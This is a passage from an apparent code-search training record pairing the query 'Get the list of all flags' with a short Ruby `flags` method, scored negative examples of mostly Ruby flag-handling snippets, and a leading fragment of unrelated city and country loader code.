"def load_cities(row)\n\n # setting the name of the city, state and county\n city = row[0]\n state = row[1]\n county = row[2]\n\n attrs = {\n :name => city,\n :status => 'active',\n :site_type_code => 'city'\n }\n # add site\n unless site = Site.where(:name => city).first\n new_site = Site.new(attrs)\n\n # setting location/contact attributes\n loc_attrs = {\n :city => city,\n :county => county,\n :state => state\n }\n\n # add contact info for site\n new_site.contacts.build(loc_attrs)\n\n # save site\n if new_site.save\n puts \"Saved site #{attrs.inspect}\"\n else\n puts \"Error: #{new_site.errors.full_messages.first}\\nCity: #{city}\"\n end\n end\nend",
"def create_countries(country_table)\n country_table.each do |country|\n abbreviation = country[0]\n name = country[1]\n info_link = country[2]\n name = Country.new(name, abbreviation, info_link)\n end\nend",
"def index\n @cities = CITIES\n end",
"def show_city_cache\n a = \"cities/#{params[:id]}/buses/#{params[:buses]}/sell_locations/#{params[:sell_locations]}\"\n #a = {city_domain: (params[:id] || request.host), buses: params[:buses]}\n #a = {id: (params[:id] || request.host), buses: params[:buses]}\n L.l a\n a\n end",
"def load_data\n @regions = Region.find(:all, :order => \"name\")\n end",
"def get_country_codes\n content = File.read(\"public/ssp/country_code.txt\")\n country_codes = Hash.new\n content.split(\":\").each do |country_code |\n cc = country_code.split(\",\")\n if cc.size == 2 \n country_codes[cc[0]] = cc[1]\n end\n end\n return country_codes\n end",
"def set_contextual_country\n if params[:context_type] == 'countries'\n @country = context_object( :include => :provinces )\n end\n end",
"def continent; end",
"def location_countries\r\n\t\treturn LocationCountry.find :all, :order=>\"sort_order, name ASC\"\r\n\tend"
] |
[
"0.6921255",
"0.6892969",
"0.6796239",
"0.6542673",
"0.6477612",
"0.6346394",
"0.6230742",
"0.61930275",
"0.61710024",
"0.6160316",
"0.61234134",
"0.6123347",
"0.60928756",
"0.60779876",
"0.6045195",
"0.6013437",
"0.60099816",
"0.60065603",
"0.59746355",
"0.5934177",
"0.5826958",
"0.5807724",
"0.57881445",
"0.5784582",
"0.5774544",
"0.577161",
"0.5756221",
"0.5743498",
"0.57410365",
"0.573908",
"0.57281077",
"0.5720006",
"0.5713917",
"0.5712054",
"0.5708911",
"0.56880206",
"0.5643244",
"0.56216973",
"0.5620478",
"0.56062543",
"0.5579582",
"0.5575657",
"0.5572241",
"0.5570903",
"0.5563949",
"0.55639464",
"0.55535173",
"0.5541461",
"0.55396557",
"0.5523397",
"0.5522228",
"0.55199486",
"0.54988074",
"0.549431",
"0.54940957",
"0.5491924",
"0.54769427",
"0.54707885",
"0.54650444",
"0.5462507",
"0.5459133",
"0.5457223",
"0.5446451",
"0.5432856",
"0.5432536",
"0.5425829",
"0.54058665",
"0.5404227",
"0.53921366",
"0.5385965",
"0.53829706",
"0.53798425",
"0.53734833",
"0.5368504",
"0.536429",
"0.5360715",
"0.5352485",
"0.53427374",
"0.534023",
"0.5339565",
"0.53372836",
"0.53372836",
"0.5334533",
"0.5334533",
"0.5334533",
"0.5334533",
"0.5331023",
"0.532801",
"0.53271717",
"0.5324659",
"0.5312462",
"0.5296612",
"0.52944934",
"0.52898157",
"0.5279871",
"0.5277361",
"0.52687794",
"0.5266074",
"0.525576",
"0.5253876",
"0.5250865"
] |
0.0
|
-1
|
Get the list of all flags
|
def flags
@flags ||= Set.new([])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def flags\n match(/Flags\\s+:\\s+(.+)$/).split rescue []\n end",
"def flags\n match(/Flags\\s+:\\s+(.+)$/).split rescue []\n end",
"def flags\n return [] unless options[\"flags\"]\n options[\"flags\"].map do |options|\n Flag.new options\n end\n end",
"def flags\n flags = Array.new\n if self.flag_attr\n self.flag_attr.split(\", \").each do |flag|\n flags << flag.to_sym\n end\n end\n\n return flags\n end",
"def symbols\n @flags.keys\n end",
"def flags\n @flags\n end",
"def flags\n @flags\n end",
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def whitelisted_flags\n flags.select &:allowed\n end",
"def flags\n FLAGS.find_all{ |k,v| (self.Characteristics & k) != 0 }.map(&:last)\n end",
"def flags\n # Hash#index becomes Hash#key in Ruby 1.9.\n index_method = RUBY_VERSION < '1.9' ? :index : :key\n # Map the integer @flags to array of flag symbols\n # (This may be cute but it's not very efficient!)\n [ @flags ].flatten.first.to_s(2). # extract flags as binary string\n split(//).map{ |bit| bit.to_i }. # convert to array of bits\n reverse. # reverse order to work from lsb\n inject([]) { |r,v| r << v * (1 << r.length) }. # convert each bit to decimal\n reject { |flag| flag == MAGIC_FLAGS[:none] }. # discard MAGIC_NONE flag\n map { |int_flag| MAGIC_FLAGS.send(index_method, int_flag) } # map decimal integer to symbol\n end",
"def get_flags( options )\n flags = 0\n if options[:flags] then\n if options[:flags].respond_to?(:each) then\n options[:flags].each { |f| flags = flags | f }\n else\n flags = options[:flags]\n end\n end\n return flags\n end",
"def flags\n [long, short].compact\n end",
"def flag\n flags.join(\", \")\n end",
"def flags\n [long, negative_long, short].compact\n end",
"def flags\n response[\"flags\"]\n end",
"def all\n data = service.list_flags.to_h[:items] || []\n load(data)\n end",
"def get_flags(opts = {})\n data, _status_code, _headers = get_flags_with_http_info(opts)\n return data\n end",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def get_flags(opts = {})\n data, _status_code, _headers = get_flags_with_http_info(opts)\n data\n end",
"def get_flags(opts = {})\n data, _status_code, _headers = get_flags_with_http_info(opts)\n data\n end",
"def flags \n @flags ||= {}\n end",
"def flags\n @flags ||= Array.wrap(Flag.where(:published => true))\n end",
"def xlate_flags()\n flags = []\n flags.push('More') if (flag_more?)\n flags.push('Start') if (flag_start?)\n flags.push('Stop') if (flag_stop?)\n flags.push('Watchdog') if (flag_watchdog?)\n return(\"#{flags.join(',')}\") if (flags.length != 0)\n return(\"None\")\n end",
"def flags #:nodoc:\n @flags ||= {}\n end",
"def extract_flags\n @flags.clear\n rules.each_with_index do |r, i|\n @flags << i unless r.alternatives.size == 1\n end\n end",
"def to_s\n @flags.join(', ')\n end",
"def fflags\n set = FFI::MemoryPointer.new :ulong\n clear = FFI::MemoryPointer.new :ulong\n C.archive_entry_fflags(entry, set, clear)\n\n [set.get_ulong(0), clear.get_ulong(0)]\n end",
"def generate_cli_flags\n @flags.map{|pair| pair.join(' ')}.join(' ').gsub(' true','')\n end",
"def flag_args(ci_gcc_config)\n return [] if ci_gcc_config[:flags].nil?\n\n ci_gcc_config[:flags]\n end",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def elementary_flag_names\n flagset_builder.elementary_flag_names\n end",
"def scm_flags\n @flags.join(\" \")\n end",
"def flags\n fs = FRAME_FLAGS[type]\n [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]\n .select { |v| @flags_value & v > 0 }\n .map { |val| fs && fs.key(val) || (\"unknown_%02x\" % val).to_sym }\n end",
"def flags\n return @val\n end",
"def index\n @flags = Flag.all\n end",
"def flags\n @values.fetch('flags') { \n @values['flags'] = nil\n }\n end",
"def cpu_flags\n cpuinfo = cmd_exec('cat /proc/cpuinfo').to_s\n\n return unless cpuinfo.include? 'flags'\n\n cpuinfo.scan(/^flags\\s*:(.*)$/).flatten.join(' ').split(/\\s/).map(&:strip).reject(&:empty?).uniq\n rescue\n raise'Could not retrieve CPU flags'\n end",
"def flags; end",
"def required_flags\n flags.select &:required\n end",
"def each(&blk)\n @flags.each(&blk)\n end",
"def list_flags(entry_id, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('baseentry', 'listFlags', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_flags(*files)\n matches = []\n begin\n files.each do |f|\n file = File.new(f, 'r')\n while (line = file.gets)\n m = line.match(/(^.*=)?/)\n matches << m[0] if m\n end\n file.close\n end\n rescue => err\n puts 'Exception: #{err}'\n err\n end\n matches.uniq.sort!\nend",
"def index\n @flags = Flag.custom_flags\n end",
"def flags\n flgs = []\n flgs << :prompt_now if 0 < @cred_struct[:flags] & Win32::Cred::CRED_FLAGS_PROMPT_NOW\n flgs << :username_target if 0 < @cred_struct[:flags] & Win32::Cred::CRED_FLAGS_USERNAME_TARGET\n flgs\n end",
"def notifyflags\r\n\t\t\t`#{BITS::BITSADMIN} /getnotifyflags {#{@id}}`\r\n\t\tend",
"def matching_flag_strings\n @flags.map do |_flag, flag_syntax, negative|\n negative ? flag_syntax.negative_flag : flag_syntax.positive_flag\n end\n end",
"def effective_flags\n @effective_flags ||= flag_syntax.flat_map(&:flags)\n end",
"def flags(*args)\n Boxen::Flags.new *args\n end",
"def as_flag_collection(colmn = DEFAULT_COLUMN_NAME, *args)\n flags_to_collect = args.empty? ? all_flags(colmn) : args\n collect_flags(*flags_to_collect) do |memo, flag|\n memo << [flag, flag_enabled?(flag, colmn)]\n end\n end",
"def count\n @flags.size\n end",
"def flags\n if variables\n (variables[:all][:referenced_enables] + variables[:all][:set_enables]).uniq.sort do |x, y|\n x = x[0] if x.is_a?(Array)\n y = y[0] if y.is_a?(Array)\n # Need to use strings for the comparison as some flags can be a string and some a symbol\n x.to_s <=> y.to_s\n end\n end\n end",
"def xlate_flags()\n flags = []\n flags.push('Single Connection') if (flag_single_connection?)\n flags.push('Unencrypted') if (flag_unencrypted?)\n return(flags.join(', ')) if (flags.length != 0)\n return(\"None\")\n end",
"def show_elf_flags\n\t\t\t\tputs \" Flags: #{@elf_flags.to_h}\"\n\t\tend",
"def flags_resync\n if @flags\n self.class.flag_def.each do |f|\n sym = (f.flag_type=='Symbol' ? f.flag_name.to_sym : f.flag_name)\n i,p,v = self.class.index_position_value(f.position)\n sn=self.send(\"flags_#{i}\")||0\n b = sn & v > 0\n logger.warn \"#{@flags[sym].class} value '#{@flags[sym]}' for flag #{self.class}->#{sym} will be stored as true, not '#{@flags[sym]}'\" unless FlaggableTypes.include?(@flags[sym].class)\n if @flags[sym] && !b\n self.send(\"flags_#{i}=\",sn+v)\n elsif b && !@flags[sym]\n self.send(\"flags_#{i}=\",sn-v)\n end\n end\n end\n @flags\n end",
"def list_flags(entry_id, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('media', 'listFlags', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def default_flags\n flags.select &:default\n end",
"def defined_permissions\n FLAGS.collect { |value, name| (@bits & (1 << value)).positive? ? name : nil }.compact\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def flags(path)\n if @manifest_entry ||= nil\n return manifest_entry.flags[path] || \"\"\n end\n pnode = parents[0].raw_changeset[0]\n \n orig = @repo.dirstate.copy_map[path] || path\n node, flag = @repo.manifest.find(pnode, orig)\n return @repo.dirstate.flags(@repo.working_join(path))\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def to_argv\n flags = []\n each do |f,v|\n m = f.to_s.size == 1 ? '-' : '--'\n case v\n when Array\n v.each{ |e| flags << \"#{m}#{f}='#{e}'\" }\n when true\n flags << \"#{m}#{f}\"\n when false, nil\n # nothing\n else\n flags << \"#{m}#{f}='#{v}'\"\n end\n end\n flags\n end",
"def describe_flags(flags,format)\n d = ''\n flags.keys.each { |f|\n if f=='c' then\n if format=='tex' then f=\"$\\\\int$\" end\n if format=='plain' then f=\"(calculus)\" end\n if format=='html' then f=\"∫\" end\n end\n if f=='s' && format=='tex' then f=\"${}_\\\\textup{s}$\" end\n d=d+f unless f=='o'\n }\n return d\nend",
"def flags_to_string(f)\n result = ''\n f.each { |key,value|\n if value then result=result+key end\n }\n return result\nend",
"def std_flags\n # FIXME: this is bogus\n m = method(:help_text)\n boolean :help, :flag => \"h\", :doc => \"display this help\"\n boolean :verbose, :flag => \"v\", :doc => \"verbose output\"\n boolean :debug, :flag => \"D\", :doc => \"turn on debugging\"\n end",
"def all\n @options\n end",
"def flags=(flags)\n self.flag_attr = flags.map{|flag| flag.to_s}.join(\", \");\n end",
"def pack_flags(flags)\n FLAGS.each_with_index.inject(0) do |memo,(key,i)|\n memo |= i if flags[key]\n memo\n end\n end",
"def status_flags\n\tstatus_bits_to_flags(self.status)\n end",
"def configured_feature_flags\n feature_flag_options.sort_by(&:name).map(&:to_h).reduce({}, :merge).with_indifferent_access\n end",
"def load_flags\n @flags ||= {}\n @flags[:state?] = true\n @flags[:region?] = true\n @flags[:teleport?] = true\n end",
"def flags(flags)\n f = \"\"\n if (flags & Sigar::RTF_UP) != 0\n f += \"U\"\n end\n if (flags & Sigar::RTF_GATEWAY) != 0\n f += \"G\"\n end\n if (flags & Sigar::RTF_HOST) != 0\n f += \"H\"\n end\n f\n end",
"def index\n @cache_flags = CacheFlag.all\n end",
"def allswitches\n result = @switches.allswitches\n result[1]\n end",
"def generate_flags_flat overrides = {}\n generate_flags(overrides).map { |k, v| [k, v] }.concat(%w|--force .|).flatten\n end",
"def modes\n @modes + autobuild.utilities.values.\n find_all { |u| u.enabled? }.\n map(&:name)\n end",
"def _flag_nations\n %w{ar cc it de ie fr es en goo br po pt }.sort\nend",
"def all_options\n Config::Options.all\n end",
"def summary\n return desc.to_s.inspect unless desc.empty?\n flags.map(&:display_name).inspect\n end",
"def add_flags(flags)\n metadata[:remove] ||= []\n metadata[:add] ||= []\n\n flags.each do |flag|\n if !self.flags.find_by_name(flag)\n f = self.flags.create(:name => flag)\n if rule = Flag.get_rule(flag)\n metadata[:remove] |= rule[0]\n metadata[:add] |= rule[1]\n end\n else\n if rule = Flag.get_rule(flag)\n metadata[:remove] |= rule[0]\n metadata[:add] |= rule[1]\n end\n end\n end\n\n [metadata[:remove], metadata[:add]]\n end",
"def all\n [ACTIVE, PENDING]\n end",
"def all_values\n _acts_as_enum_state.by_ordinal.values\n end",
"def flags\n (self[:type_flags] & 0xfc)\n end",
"def flags\n input = @flags.clone\n tok = []\n\n # Set the output path\n throw 'Output pathname is required' if @output.nil?\n if Platform.is_windows?\n tok.push \"/OUT:\\\"#{@output}\\\"\"\n tok.push '/DLL' if @output =~ /\\.dll/i\n else\n tok.push '-o', @output\n end\n\n # Enable shared library output\n if @shared_library\n if Platform.is_windows?\n tok.push '/DLL'\n else\n tok.push '-shared'\n tok.push '-fPIC'\n end\n end\n\n # Assume that we want to link with shared libraries\n # built within this project\n unless Platform.is_windows?\n tok.push '-L', '.'\n end\n\n # Override the normal search path for the dynamic linker\n unless @rpath.nil?\n if Platform.is_solaris?\n input.push ['R', @rpath]\n elsif Platform.is_linux?\n input.push ['-rpath', @rpath]\n elsif Platform.is_windows?\n # XXX-FIXME Windows does not support the rpath concept\n else\n throw 'Unsupported OS'\n end\n input.push ['-L', @rpath]\n end\n\n input.each do |f|\n if @gcc_flags == true\n if f.kind_of?(Array)\n if f[0] == '-L'\n tok.push f.join(' ')\n else\n tok.push '-Wl,' + f[0] + ',' + f[1]\n end\n else\n tok.push '-Wl,' + f\n end\n else\n if f.kind_of?(Array)\n tok.push f.flatten.join(' ')\n else\n tok.push f\n end\n end\n end\n\n res = ' ' + tok.join(' ')\n return res\n end",
"def report_flags\n self.has_links? ? ret = \"L\" : ret = \"l\"\n self.has_jlinks? ? ret += \"J\" : ret += \"j\"\n self.has_form? ? ret += \"F\" : ret += \"f\"\n self.has_comments? ? ret += \"C\" : ret += \"c\"\n return ret\n end",
"def bitfield_args\n @bitfield_args ||= []\n end",
"def get_flags( remove = nil )\n\n\t\t# escape dashes for split\n\t\t@value.gsub!(/\\\\\\-/, \"<dash>\")\n\n\t\t# Remove command, split by spaces\n\t\tif remove.nil?\n\t\t\tvars = @value.split(/\\s-/)\n\t\telse\n\t\t\tvars = @value.gsub( remove, '' ).split(/\\s-/)\n\t\tend\n\n\t\t# Hash to return\n\t\tflags = Hash.new\n\t\t# for each pair of arguments, place in Hash\n\t\t# \tflags[ flag ] = argument\n\t\tvars.each do |str|\n\t\t\n\t\t\t# Extract key and value\n\t\t\tkey = str[/^\\S+/]\n\t\t\tvalue = str.sub(/^\\S+ /, '' ).gsub(\"<dash>\", '-')\n\n\t\t\t# parse true/false values\n\t\t\tvalue = true if value.downcase == 'yes' or value.downcase == 'true'\n\t\t\tvalue = false if value.downcase == 'no' or value.downcase == 'false'\n\n\t\t\tvalue.chop! if value[-1] =~ /\\s/\n\t\t\tvalue = nil if value == ''\n\n\t\t\tflags[ key.to_sym ] = value unless key.nil?\n\t\t\t\n\t\tend\t\t\n\n\t\t# Return result\n\t\tflags\n\n\tend",
"def flow_flags\n @flow_flags ||= [@options[:flow_flag] || @options[:flow_flags]].flatten.compact\n end",
"def dashed_flags *settings_and_names\n settings_and_names.map{|args| dashed_flag_for(*args) }.compact\n end",
"def general_purpose_flags\n 0b0000000000000001\n end",
"def aclflags\r\n\t\t\t`#{BITS::BITSADMIN} /getaclflags {#{@id}}`\r\n\t\tend",
"def format_flags(flags)\n # other flags like \"Old\" should be hidden here\n flags = flags.map {|flag| FLAGMAP[flag] || flag}\n flags.delete(\"Old\")\n if flags.delete(:Seen).nil?\n flags << '+' # unread\n end\n flags.join('')\n end",
"def flags(path)\n info = file_info(path)[1]\n return \"\" if info.nil?\n info\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def flags\n raise NotImplementedError.new(\"flags() must be implemented by subclasses of AbstractVersionedFile.\")\n end",
"def names\n fs = []\n %w( OUT_OF_ORDER_EXEC_MODE_ENABLE PROFILING_ENABLE ON_DEVICE ON_DEVICE_DEFAULT ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end",
"def includedirs\n res = []\n @flags.each { |f| res.push f if f =~ /^-I/ }\n res.join \" \"\n end",
"def get_account_flags(permission)\n # http://msdn.microsoft.com/en-us/library/ms229747.aspx\n flags = 0x0\n\n case permission.child_types\n when :all\n flags = flags |\n Puppet::Util::Windows::AccessControlEntry::OBJECT_INHERIT_ACE |\n Puppet::Util::Windows::AccessControlEntry::CONTAINER_INHERIT_ACE\n when :objects\n flags |= Puppet::Util::Windows::AccessControlEntry::OBJECT_INHERIT_ACE\n when :containers\n flags |= Puppet::Util::Windows::AccessControlEntry::CONTAINER_INHERIT_ACE\n end\n\n case permission.affects\n when :self_only\n flags = 0x0\n when :children_only\n flags |= Puppet::Util::Windows::AccessControlEntry::INHERIT_ONLY_ACE\n when :self_and_direct_children_only\n flags |= Puppet::Util::Windows::AccessControlEntry::NO_PROPAGATE_INHERIT_ACE\n when :direct_children_only\n flags = flags |\n Puppet::Util::Windows::AccessControlEntry::NO_PROPAGATE_INHERIT_ACE |\n Puppet::Util::Windows::AccessControlEntry::INHERIT_ONLY_ACE\n end\n\n flags = 0x0 if permission.child_types == :none && flags != 0x0\n\n flags\n end"
] |
[
"0.7917881",
"0.7917881",
"0.7916632",
"0.7690954",
"0.7455698",
"0.7369091",
"0.7369091",
"0.7258017",
"0.7258017",
"0.72234166",
"0.7165587",
"0.7157109",
"0.7021804",
"0.70147747",
"0.69823146",
"0.6971803",
"0.6962295",
"0.68898445",
"0.6878045",
"0.68644124",
"0.6844459",
"0.6844459",
"0.6801771",
"0.67702276",
"0.67623776",
"0.6759246",
"0.67106134",
"0.6698838",
"0.6657928",
"0.66438866",
"0.6635559",
"0.6614968",
"0.6614968",
"0.6587547",
"0.64937174",
"0.64642763",
"0.6447041",
"0.64293915",
"0.64053017",
"0.64050233",
"0.6398201",
"0.634422",
"0.63024247",
"0.63023436",
"0.6288568",
"0.62859374",
"0.62413436",
"0.6233558",
"0.6219967",
"0.6195149",
"0.61944056",
"0.6160879",
"0.61591417",
"0.6148622",
"0.6108494",
"0.60928375",
"0.60883176",
"0.6085721",
"0.6079826",
"0.60488766",
"0.60482407",
"0.60421133",
"0.6027294",
"0.59894544",
"0.5958864",
"0.5956867",
"0.5948725",
"0.59348756",
"0.592163",
"0.59142584",
"0.5912418",
"0.5886113",
"0.5860182",
"0.5845714",
"0.58327043",
"0.5831685",
"0.5827697",
"0.5812058",
"0.5793652",
"0.5791078",
"0.57642466",
"0.57521564",
"0.5749568",
"0.5747979",
"0.5746344",
"0.57418936",
"0.5736077",
"0.5733106",
"0.5721494",
"0.5719352",
"0.57085824",
"0.568292",
"0.5671569",
"0.56537503",
"0.5647629",
"0.5625032",
"0.5623618",
"0.561855",
"0.55771255",
"0.55740905"
] |
0.7572252
|
4
|
Helper method to find if a module is feature flagged or not
|
def is_flagged?(feature)
flags.include?feature
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def feature?(feature)\n definition[:features]&.include?(feature)\n end",
"def legit_feature?\n Flipflop.feature_set.features.map(&:name).include?(params[:feature])\n end",
"def feature_enable?(feature)\n @features ||= config.features_enable\n @features[feature] == true\nend",
"def feature_enabled?(feature)\n experimental = features_requested\n feature = feature.to_s\n\n return global_enabled? || experimental.include?(feature)\n end",
"def enabled?\n if feature\n value = false\n current_owner = self\n if feature.class == Array\n feature.each do |f|\n current_owner = self\n loop do\n if current_owner.respond_to?(:owner)\n current_owner = current_owner.owner\n if current_owner.respond_to?(:has_feature?)\n if current_owner.has_feature?(f)\n value = true\n break\n end\n end\n else # if current owner does not have a owner\n value = false\n break\n end\n end # loop end\n unless value\n if Origen.top_level && \\\n Origen.top_level.respond_to?(:has_feature?) && \\\n Origen.top_level.has_feature?(f)\n value = true\n unless value\n break\n end\n end\n end\n unless value\n break # break if feature not found and return false\n end\n end # iterated through all features in array\n value\n else # if feature.class != Array\n loop do\n if current_owner.respond_to?(:owner)\n current_owner = current_owner.owner\n if current_owner.respond_to?(:has_feature?)\n if current_owner.has_feature?(feature)\n value = true\n break\n end\n end\n else # if current owner does not have a owner\n value = false\n break\n end\n end # loop end\n unless value\n if Origen.top_level && \\\n Origen.top_level.respond_to?(:has_feature?) && \\\n Origen.top_level.has_feature?(feature)\n value = true\n end\n end\n value\n end\n else\n true\n end\n end",
"def enabled?\n if feature\n value = false\n current_owner = self\n if feature.class == Array\n feature.each do |f|\n current_owner = self\n loop do\n if current_owner.respond_to?(:owner)\n current_owner = current_owner.owner\n if current_owner.respond_to?(:has_feature?)\n if current_owner.has_feature?(f)\n value = true\n break\n end\n end\n else # if current owner does not have a owner\n value = false\n break\n end\n end # loop end\n unless value\n if Origen.top_level && \\\n Origen.top_level.respond_to?(:has_feature?) && \\\n Origen.top_level.has_feature?(f)\n value = true\n unless value\n break\n end\n end\n end\n unless value\n break # break if feature not found and return false\n end\n end # iterated through all features in array\n value\n else # if feature.class != Array\n loop do\n if current_owner.respond_to?(:owner)\n current_owner = current_owner.owner\n if current_owner.respond_to?(:has_feature?)\n if current_owner.has_feature?(feature)\n value = true\n break\n end\n end\n else # if current owner does not have a owner\n value = false\n break\n end\n end # loop end\n unless value\n if Origen.top_level && \\\n Origen.top_level.respond_to?(:has_feature?) && \\\n Origen.top_level.has_feature?(feature)\n value = true\n end\n end\n value\n end\n else\n true\n end\n end",
"def feature_module\n unless defined?(@feature_module)\n @features ||= {}\n @feature_module = ::Module.new\n const_set(\"FeatureModule\", @feature_module)\n features = @features\n # Create a feature? method that can be passed a feature name and\n # determine if the feature is present.\n @feature_module.send(:define_method, :feature?) do |name|\n method = name.to_s + \"?\"\n return !!(respond_to?(method) and send(method))\n end\n\n # Create a method that will list all functional features.\n @feature_module.send(:define_method, :features) do\n return false unless defined?(features)\n features.keys.find_all { |n| feature?(n) }.sort { |a,b|\n a.to_s <=> b.to_s\n }\n end\n\n # Create a method that will determine if a provided list of\n # features are satisfied by the curred provider.\n @feature_module.send(:define_method, :satisfies?) do |*needed|\n ret = true\n needed.flatten.each do |feature|\n unless feature?(feature)\n ret = false\n break\n end\n end\n ret\n end\n\n # Create a boolean method for each feature so you can test them\n # individually as you might need.\n @features.each do |name, feature|\n method = name.to_s + \"?\"\n @feature_module.send(:define_method, method) do\n (is_a?(Class) ? declared_feature?(name) : self.class.declared_feature?(name)) or feature.available?(self)\n end\n end\n\n # Allow the provider to declare that it has a given feature.\n @feature_module.send(:define_method, :has_features) do |*names|\n @declared_features ||= []\n names.each do |name|\n @declared_features << name.intern\n end\n end\n # Aaah, grammatical correctness\n @feature_module.send(:alias_method, :has_feature, :has_features)\n end\n @feature_module\n end",
"def has_feature?(*)\n end",
"def loaded? feature\n $LOADED_FEATURES.any? do |path|\n path =~ /^#{feature}#{SUFFIX_RE}$/\n end\n end",
"def feature_flag_enabled?(identifier)\n FeatureFlag.active.where(resource: user, identifier: identifier).exists?\n end",
"def enabled_by_feature?(name = nil)\n if !name\n !!feature\n else\n if feature.class == Array\n feature.each do |f|\n if f == name\n return true\n end\n end\n false\n else\n feature == name\n end\n end\n end",
"def enabled_by_feature?(name = nil)\n if !name\n !!feature\n else\n if feature.class == Array\n feature.each do |f|\n if f == name\n return true\n end\n end\n false\n else\n feature == name\n end\n end\n end",
"def module?\n true\n end",
"def module?\n true\n end",
"def feature?(feature=RC.current_feature)\n return true if self.feature.nil?\n self.feature == feature.to_s\n end",
"def module?\n false\n end",
"def target_feature?( feature )\n options = extensions[:Middlemac].options\n features = options.Targets[options.Target][:Features]\n features.key?(feature) && features[feature]\n end",
"def rech_bonus?\n has_feature?(:esper_recharger)\n end",
"def is_feature(test)\n test.metadata[:type].to_s == 'feature'\nend",
"def check_feature_access\n cur_feature = feature_accessed\n return unless cur_feature # Not one of the feature pages. Nothing to check.\n\n unless self.enabled_features.include?(cur_feature)\n return handle_invalid_feature_access(cur_feature)\n end\n end",
"def enabled?\n enabled = false\n features.each do |f|\n enabled = true if f.enabled?\n end\n enabled\n end",
"def check_features\n # case params[:action]\n # when \"index\"\n # current_features.include?('feature_key') ? true : invalid_features \n # end\n return true\n end",
"def has_feat ( f )\n return false\n end",
"def includes_modules?\n @includes_modules\n end",
"def global_enabled?\n if !defined?(@_global_enabled)\n experimental = features_requested\n if experimental.size == 1 && experimental.first == \"1\"\n @_global_enabled = true\n else\n @_global_enabled = false\n end\n end\n @_global_enabled\n end",
"def supports?(feature_name)\n features.key? feature_name\n end",
"def supports?(feature)\n features.include?(feature)\n end",
"def is_not_flagged?(feature)\n !is_flagged?feature\n end",
"def should_donate?\n @type == :module\n end",
"def has_modules?\n m = @context.modules.find{|m| m.document_self}\n m ? true : false\n end",
"def feature_installed? (name, version=nil)\n feature = list_features.find {|f| f[:name]==name and (version.nil? or f[:version] == version)}\n feature[:status] == 'installed' unless feature.nil?\n end",
"def feature_enabled?(feature_name, actor=nil)\n public_send feature_type(feature_name), feature_value(feature_name), actor\n rescue\n false\n end",
"def feature_flags\n 0\n end",
"def auxiliary?\n\t\treturn (type == MODULE_AUX)\n\tend",
"def can_use(module_name)\n target_is_all? or target_includes? module_name\n end",
"def module_loaded?\n /^#{new_resource.modname}/.match?(::File.read(\"/proc/modules\"))\n end",
"def hidden?\n enabled = (@hidden_feature_set || []).any? do |feature|\n Feature.enabled?(feature)\n end\n @feature_hidden && !enabled\n end",
"def module_loaded? mod\n Bot::Modules.include? mod\n end",
"def exists?\n self.class.exists?(features)\n end",
"def has_flag(u, f)\n ret = false\n @opers.each do |oper|\n if oper.can_access(u)\n puts(\"flags: #{oper.flags}\") if $config.options['debug']\n ret = oper.flags.include?(f) || oper.flags.include?('*')\n end\n end\n\n if !ret && $config.options['levels'] && (u.isoper || u.isadmin)\n puts(\"lflags: #{$config.levels[u.olevel]}\")\n ret = $config.levels[u.olevel].include?(f)\n end\n \n return ret\n end",
"def module?\n @type == :module\n end",
"def module?\n @type == :module\n end",
"def loaded?(feature)\n $LOADED_FEATURES.include? feature\n end",
"def feature_without_category?\n if @feature_without_category.nil?\n @feature_without_category = %w(all both).include?(featured)\n end\n @feature_without_category\n end",
"def loaded_correctly?\n !!@module\n end",
"def loaded_correctly?\n !!@module\n end",
"def modules_enabled?\n return nil unless target\n setting = target.resolved_build_setting(\"CLANG_ENABLE_MODULES\")[\"Release\"]\n return nil unless setting\n setting == \"YES\"\n end",
"def feature_flag_model\n ::FeatureFlag\n end",
"def feature_js?(nickname)\n Chihuahua.enabled?(nickname) ? 'true' : 'false'\n end",
"def enabled_for_all?(feature)\n redis.get(enabled_for_all_key(feature)) == '1'\n end",
"def feature_active?(feature)\n enabled_for_all?(feature) and !feature_inactive?(feature)\n end",
"def needs_fix?\n active? && flagged?\n end",
"def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend",
"def include?(feature)\n # Assume backported features are Ruby libraries (i.e. not C)\n $LOADED_FEATURES.include?(\"#{File.basename(feature, '.rb')}.rb\")\n end",
"def include?(feature)\n # Assume backported features are Ruby libraries (i.e. not C)\n $LOADED_FEATURES.include?(\"#{File.basename(feature, '.rb')}.rb\")\n end",
"def can?(action, feature)\n !!(get_feature(feature) =~ /#{action.to_s}/)\n end",
